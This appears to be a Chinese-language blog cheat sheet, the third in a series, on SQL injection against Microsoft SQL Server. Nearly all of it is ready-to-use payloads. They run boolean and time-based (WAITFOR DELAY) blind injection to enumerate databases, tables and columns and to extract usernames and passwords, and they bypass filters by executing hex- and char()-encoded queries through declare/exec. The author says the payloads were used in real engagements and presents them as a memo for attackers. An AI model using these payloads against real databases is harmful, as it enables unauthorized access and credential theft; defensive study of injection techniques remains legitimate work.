这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
布尔盲注(参考union联合查询注入,逐步盲注即可)
都可以和union一样加入and条件排除查询下一个内容
查询数据库名:
id=2' and ascii(substring((select DB_NAME(5)),1,1)) > 109--//查询第五个数据库第一个字符的ascii码是否大于109
查询表名:
id=2 and ascii(substring((select top 1 name from mozhe_db_v2..sysobjects where xtype='u'),1,1)) >100//查询第一个表名的第一个字符的ascii码是否大于100
或者使用information_schema:
id=2 and ascii(substring((SELECT TOP 1 table_name FROM information_schema.tables),1,1)) >0
查询列名:
id=2 and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage')),1,1)) >100//查询第manage表的第一个列名第一个字符的ascii码是否大于100
或者使用下面这个:
id=2 and ascii(substring((SELECT TOP 1 col_name(object_id('manage'),1) from sysobjects),1,1)) >100
或者使用information_schema:
id=2 and ascii(substring((SELECT top 1 column_name from information_schema.columns where table_name='manage'),1,1)) >0
查数据:
id=2 and ascii(substring((select top 1 username from manage),1,1)) >0
指定条件查数据:
id=2 and ascii(substring((select top 1 password from manage where username='admin_mz'),1,1)) >0
时间盲注(参考布尔盲注)
只需要参照布尔盲注的payload,给其套上一个if()函数,并且后面加上WAITFOR DELAY '0:0:5'-- 延迟5秒执行语句即可
例如判断数据库名:
id=2; if(ascii(substring((select db_name()),1,1)) >1) WAITFOR DELAY '0:0:5'-- //如果判断正确,延迟五秒执行sql语句
简单绕过一些单引号、路径符号等等被过滤:
利用declare定义变量:
id = 1 ; declare @a nvarchar ( 2000 ) set @a = 'select convert(int,@@version)' exec ( @a ) --
配合hex编码:
id = 1 ; declare @s varchar ( 2000 ) set @s = 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec ( @s )-- //0x命令hex编码后的
配合ascii编码:
id = 1 ; declare @s varchar ( 2000 ) set @s = char ( 115 ) + char ( 101 ) + char ( 108 ) + char ( 101 ) + char ( 99 ) + char ( 116 ) + char ( 32 ) + char ( 99 ) + char ( 111 ) + char ( 110 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 116 ) + char ( 40 ) + char ( 105 ) + char ( 110 ) + char ( 116 ) + char ( 44 ) + char ( 64 ) + char ( 64 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 115 ) + char ( 105 ) + char ( 111 ) + char ( 110 ) + char ( 41 ) exec ( @s )-- //ascii编码的字符,利用+号拼接
以上方法都经过本人实战使用过的,具体情况看师傅们怎么使用吧!